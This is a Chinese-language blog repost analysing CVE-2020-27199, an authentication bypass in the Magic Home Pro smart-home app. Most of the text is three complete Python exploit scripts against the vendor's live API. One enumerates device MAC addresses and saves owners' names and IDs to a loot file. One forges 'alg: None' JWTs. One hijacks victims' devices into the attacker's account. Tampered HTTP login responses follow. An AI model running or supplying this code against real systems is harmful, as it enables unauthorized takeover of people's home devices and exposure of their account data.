这篇文章主要介绍Magic Home Pro身份认证绕过漏洞CVE-2020-27199的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!
前期准备工作
一台已Root的Android手机;
JAR重新签名,重新构建APK;
Frida证书绑定绕过;
漏洞简报
受影响应用:Magic Home Pro
产品厂商:JadeHomic
WiFi控制器产品厂商:Suzhou SmartChip Semiconductor Co.,Ltd
厂商官网:JadeHomic
受影响产品代码:Magic Home Pro
漏洞介绍
该漏洞将允许任何经过身份验证的用户使用其当前授权级别,通过调用/app/getBindedUserListByMacAddress/ZG001?macAddress=<mac address> API来查询与其注册产品无关的终端节点。这将导致服务器端返回响应信息 并指示目标节点是否存在,然后返回相关节点的用户名、用户唯一标识符(userUniID)和绑定唯一ID(bindedUniID)。
通过执行上述查询请求,攻击者就可以利用指向/app/sendCommandBatch/ZG001 API的未授权POST请求、新枚举的Mac地址和兼容的十六进制命令71230fa3(ON)及71240fa4(OFF)来向远程节点发送命令了。
JWT伪造
初始枚举完成后,攻击者还可以使用JWT Payload数据中的userID和uniID伪造JWT,本质上来说应该是可以将令牌降级为使用JWT Header字段中的“None”算法(签名绕过漏洞)。在该漏洞的帮助下,攻击者将能够通过向/app/shareDevice/ZG001发起远程API调用并使用friendUserID这个JSON参数来将目标设备添加至攻击者的设备列表中,从而实现攻击,此时攻击者将能够完全获取目标设备的控制权限。
漏洞类型
绕过身份验证
信息披露
未经授权的访问
横向权限提升
攻击向量
需要经过身份验证的用户
现有终端系统的成功枚举
随后将批处理命令发送到远程节点
设备接管
绕过身份验证
节点枚举和批处理命令漏洞利用PoC
我们的PoC将返回MAC地址范围内的最后字节进行枚举并返回结果,如果你需要的话,你也可以测试“远程执行”的效果。
import requests import json import os from colorama import init from colorama import Fore, Back, Style import re ''' First Stage Authentication Second Stage Enumerate Third Stage Remote Execute ''' global found_macaddresses found_macaddresses = [] global outtahere outtahere = "" q = "q" global token def turnOn(target, token): urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001" array = { "dataCommandItems":[ {"hexData":"71230fa3","macAddress":target} ] } data = json.dumps(array) headersOn = { "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)", "Accept-Language": "en-US", "Accept": "application/json", "Content-Type": "application/json; charset=utf-8", "token":token, "Host": "wifij01us.magichue.net", "Connection": "close", "Accept-Encoding": "gzip, deflate" } print (Fore.WHITE + "[+] Sending Payload ...") response = requests.post(urlOn, data=data, headers=headersOn) if response.status_code == 200: if "true" in response.text: print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On") else: print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}") def turnOff(target, token): urlOff = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001" array = { "dataCommandItems":[ {"hexData":"71240fa4","macAddress":target} ] } data = json.dumps(array) headersOff = { "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)", "Accept-Language": "en-US", "Accept": "application/json", "Content-Type": "application/json; charset=utf-8", "token":token, "Host": "wifij01us.magichue.net", "Connection": "close", "Accept-Encoding": "gzip, deflate" } print (Fore.WHITE + "[+] Sending Payload ...") response = requests.post(urlOff, data=data, headers=headersOff) if response.status_code == 200: if "true" in response.text: print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched Off") else: print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}") def lighItUp(target, token): outtahere = "" q = "q" if len(str(target)) < 12: print (Fore.RED + "[!] Invalid target" + Style.RESET_ALL) elif re.match('[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}$', target.lower()): while outtahere.lower() != q.lower(): if outtahere == "0": turnOn(target, token) elif outtahere == "1": turnOff(target, token) outtahere = input(Fore.BLUE + "ON/OFF/QUIT ? (0/1/Q): " + Style.RESET_ALL) def Main(): urlAuth = "https://wifij01us.magichue.net/app/login/ZG001" data = { "userID":"<Valid Registered Email/Username>", "password":"<Valid Registered Password>", "clientID":"" } headersAuth = { "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)", "Accept-Language": "en-US", "Accept": "application/json", "Content-Type": "application/json; charset=utf-8", "Host": "wifij01us.magichue.net", "Connection": "close", "Accept-Encoding": "gzip, deflate" } # First Stage Authenticate os.system('clear') print (Fore.WHITE + "[+] Authenticating ...") response = requests.post(urlAuth, json=data, headers=headersAuth) resJsonAuth = response.json() token = (resJsonAuth['token']) # Second Stage Enumerate print (Fore.WHITE + "[+] Enumerating ...") macbase = "C82E475DCE" macaddress = [] a = ["%02d" % x for x in range(100)] for num in a: macaddress.append(macbase+num) with open('loot.txt', 'w') as f: for mac in macaddress: urlEnum = "https://wifij01us.magichue.net/app/getBindedUserListByMacAddress/ZG001" params = { "macAddress":mac } headersEnum = { "User-Agent": "Magic Home/1.5.1(ANDROID,9,en-US)", "Accept-Language": "en-US", "Content-Type": "application/json; charset=utf-8", "Accept": "application/json", "token": token, "Host": "wifij01us.magichue.net", "Connection": "close", "Accept-Encoding": "gzip, deflate" } response = requests.get(urlEnum, params=params, headers=headersEnum) resJsonEnum = response.json() data = (resJsonEnum['data']) if not data: pass elif data: found_macaddresses.append(mac) print (Fore.GREEN + "[*] MAC Address Identified: " + Style.RESET_ALL + f"{mac}" + Fore.GREEN + f", User: " + Style.RESET_ALL + f"{(data[0]['userName'])}, " + Fore.GREEN + "Unique ID: " + Style.RESET_ALL + f"{data[0]['userUniID']}, " + Fore.GREEN + "Binded ID: " + Style.RESET_ALL + f"{data[0]['bindedUniID']}") f.write(Fore.GREEN + "[*] MAC Address Identified: " + Style.RESET_ALL + f"{mac}" + Fore.GREEN + f", User: " + Style.RESET_ALL + f"{(data[0]['userName'])}, " + Fore.GREEN + "Unique ID: " + Style.RESET_ALL + f"{data[0]['userUniID']}, " + Fore.GREEN + "Binded ID: " + Style.RESET_ALL + f"{data[0]['bindedUniID']}/n") else: print (Fore.RED + "[-] No results found!") print(Style.RESET_ALL) if not found_macaddresses: print (Fore.RED + "[-] No MAC addresses retrieved") elif found_macaddresses: attackboolean = input(Fore.BLUE + "Would you like to Light It Up ? (y/N): " + Style.RESET_ALL) if (attackboolean.upper() == 'Y'): target = input(Fore.RED + "Enter a target device mac address: " + Style.RESET_ALL) lighItUp(target, token) elif (attackboolean.upper() == 'N'): print (Fore.CYAN + "Sometimes, belief isn’t about what we can see. It’s about what we can’t."+ Style.RESET_ALL) else: print (Fore.CYAN + "The human eye is a wonderful device. With a little effort, it can fail to see even the most glaring injustice." + Style.RESET_ALL) if __name__ == "__main__": Main()
枚举结果
令牌伪造PoC
攻击者可以使用枚举成功后返回的userID和uniqID,并利用这个令牌伪造PoC来生成一个新的已签名令牌并绕过JWT。
#!/usr/local/bin/python3 import url64 import requests import json import sys import os from colorama import init from colorama import Fore, Back, Style import re import time from wsgiref.handlers import format_date_time from datetime import datetime from time import mktime now = datetime.now() stamp = mktime(now.timetuple()) ''' HTTP/1.1 200 Server: nginx/1.10.3 Content-Type: application/json;charset=UTF-8 Connection: close "{/"code/":0,/"msg/":/"/",/"data/":{/"webApi/":/"wifij01us.magichue.net/app/",/"webPathOta/":/"http:////wifij01us.magichue.net//app//ota//download/",/"tcpServerController/":/"TCP,8816,ra8816us02.magichue.net/",/"tcpServerBulb/":/"TCP,8815,ra8815us02.magichue.net/",/"tcpServerControllerOld/":/"TCP,8806,mhc8806us.magichue.net/",/"tcpServerBulbOld/":/"TCP,8805,mhb8805us.magichue.net/",/"sslMqttServer/":/"ssl:////192.168.0.112:1883/",/"serverName/":/"Global/",/"serverCode/":/"US/",/"userName/":/"/",/"userEmail/":/"/",/"userUniID/":/"/"},/"token/":/"/"}" ''' def Usage(): print (f"Usage: {sys.argv[0]} <username> <unique id>") def Main(user, uniqid): os.system('clear') print ("[+] Encoding ...") print ("[+] Bypass header created!") print ("HTTP/1.1 200") print ("Server: nginx/1.10.3") print ("Date: "+str(format_date_time(stamp))+"") print ("Content-Type: application/json;charset=UTF-8") print ("Connection: close/r/n/r/n") jwt_header = '{"typ": "JsonWebToken","alg": "None"}' jwt_data = '{"userID": "'+user+'", "uniID": "'+uniqid+'","cdpid": "ZG001","clientID": "","serverCode": "US","expireDate": 1618264850608,"refreshDate": 1613080850608,"loginDate": 1602712850608}' jwt_headerEncoded = url64.encode(jwt_header.strip()) jwt_dataEncoded = url64.encode(jwt_data.strip()) jwtcombined = (jwt_headerEncoded.strip()+"."+jwt_dataEncoded.strip()+".") print ("{/"code/":0,/"msg/":/"/",/"data/":{/"webApi/":/"wifij01us.magichue.net/app/",/"webPathOta/":/"http://wifij01us.magichue.net/app/ota/download/",/"tcpServerController/":/"TCP,8816,ra8816us02.magichue.net/",/"tcpServerBulb/":/"TCP,8815,ra8815us02.magichue.net/",/"tcpServerControllerOld/":/"TCP,8806,mhc8806us.magichue.net/",/"tcpServerBulbOld/":/"TCP,8805,mhb8805us.magichue.net/",/"sslMqttServer/":/"ssl:////192.168.0.112:1883/",/"serverName/":/"Global/",/"serverCode/":/"US/",/"userName/":/""+user+"/",/"userEmail/":/""+user+"/",/"userUniID/":/""+uniqid+"/"},/"token/":/""+jwtcombined+"/"}") if __name__ == "__main__": if len(sys.argv) < 3: Usage() else: Main(sys.argv[1], sys.argv[2])
设备接管PoC
攻击者可以利用该漏洞并使用攻击者的邮件(用于接管目标帐户的注册帐户)、目标用户邮件(要接管的目标帐户)、目标设备Mac地址(与目标电子邮件地址关联)和伪造的令牌来接管目标设备。
#!/usr/local/bin/python3 import url64 import requests import json import sys import os from colorama import init from colorama import Fore, Back, Style import re def Usage(): print (f"Usage: {sys.argv[0]} <attacker email> <target email> <target mac address> <target forged token>") def Main(): attacker_email = sys.argv[1] target_email = sys.argv[2] target_mac = sys.argv[3] forged_token = sys.argv[4] os.system('clear') print (Fore.WHITE + "[+] Sending Payload ...") url = "https://wifij01us.magichue.net/app/shareDevice/ZG001" array = {"friendUserID":attacker_email, "macAddress":target_mac} data = json.dumps(array) headers = { "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)", "Accept-Language": "en-US", "Accept": "application/json", "Content-Type": "application/json; charset=utf-8", "token":forged_token, "Host": "wifij01us.magichue.net", "Connection": "close", "Accept-Encoding": "gzip, deflate" } response = requests.post(url, data=data, headers=headers) if response.status_code == 200: if "true" in response.text: print (Fore.GREEN + "[*] Target is now yours ... " + Style.RESET_ALL) else: print (Fore.RED + "[-] Failed to take over target !" + Style.RESET_ALL) if __name__ == "__main__": if len(sys.argv) < 5: Usage() else: Main()
成功的POST请求/响应交换样例
POST Request POST /app/shareDevice/ZG001 HTTP/1.1 User-Agent: Magic Home/1.5.1(ANDROID,9,en-US) Accept-Language: en-US Accept: application/json token: <forged token, representing the target victim> Content-Type: application/json; charset=utf-8 Content-Length: 72 Host: wifij01us.magichue.net Connection: close Accept-Encoding: gzip, deflate {"friendUserID":"<attackercontrolled email>","macAddress":"<victim mac address>"} Response HTTP/1.1 200 Server: nginx/1.10.3 Date: Tue, 07 Jul 2020 05:31:33 GMT Content-Type: application/json;charset=UTF-8 Connection: close Content-Length: 31 {"code":0,"msg":"","data":true}
认证绕过(Magic Home Pro)(CVE-2020-27199)
利用JSON令牌伪造以及基于上述枚举的收集信息(即目标用户的电子邮件、ClientID和UniqID),攻击者可以通过篡改HTTP响应绕过移动应用程序的身份验证过程,从而获得应用程序的非授权权限。
攻击者利用目标用户的电子邮件地址、任意密码和客户端来以目标用户身份使用Magic Home Pro应用程序。
然后,攻击者可以使用步骤1中的详细信息操作HTTP响应,该步骤将允许攻击者实现身份认证绕过。
Original HTTP Login Request via Magic Home Pro Mobile app POST /app/login/ZG001 HTTP/1.1 User-Agent: Magic Home/1.5.1(ANDROID,9,en-US) Accept-Language: en-US Accept: application/json token: Content-Type: application/json; charset=utf-8 Content-Length: 117 Host: wifij01us.magichue.net Connection: close Accept-Encoding: gzip, deflate {"userID":"<victim userID>","password":"<arbitrary password>","clientID":"<arbitrary ClientID>"} Original HTTP Response HTTP/1.1 200 Server: nginx/1.10.3 Date: Thu, 08 Oct 2020 00:08:45 GMT Content-Type: application/json;charset=UTF-8 Connection: close Content-Length: 37 {"code":10033,"msg":"Password error"} Edited HTTP Response HTTP/1.1 200 Server: nginx/1.10.3 Date: Mon, 06 Jul 2020 12:32:02 GMT Content-Type: application/json;charset=UTF-8 Connection: close Content-Length: 907 {"code":0,"msg":"","data":{"webApi":"wifij01us.magichue.net/app","webPathOta":"http://wifij01us.magichue.net/app/ota/download","tcpServerController":"TCP,8816,ra8816us02.magichue.net","tcpServerBulb":"TCP,8815,ra8815us02.magichue.net","tcpServerControllerOld":"TCP,8806,mhc8806us.magichue.net","tcpServerBulbOld":"TCP,8805,mhb8805us.magichue.net","sslMqttServer":"ssl://192.168.0.112:1883","serverName":"Global","serverCode":"US","userName":"<victim userID>","userEmail":"<victim email>","userUniID":"<uniID gleaned from enumeration>"},"token":"<forged JWT based on gleaned data from API call>"}
以上是“Magic Home Pro身份认证绕过漏洞CVE-2020-27199的示例分析”这篇文章的所有内容,感谢各位的阅读!希望分享的内容对大家有帮助,更多相关知识,欢迎关注亿速云行业资讯频道!
原创文章,作者:3628473679,如若转载,请注明出处:https://blog.ytso.com/tech/safety/220578.html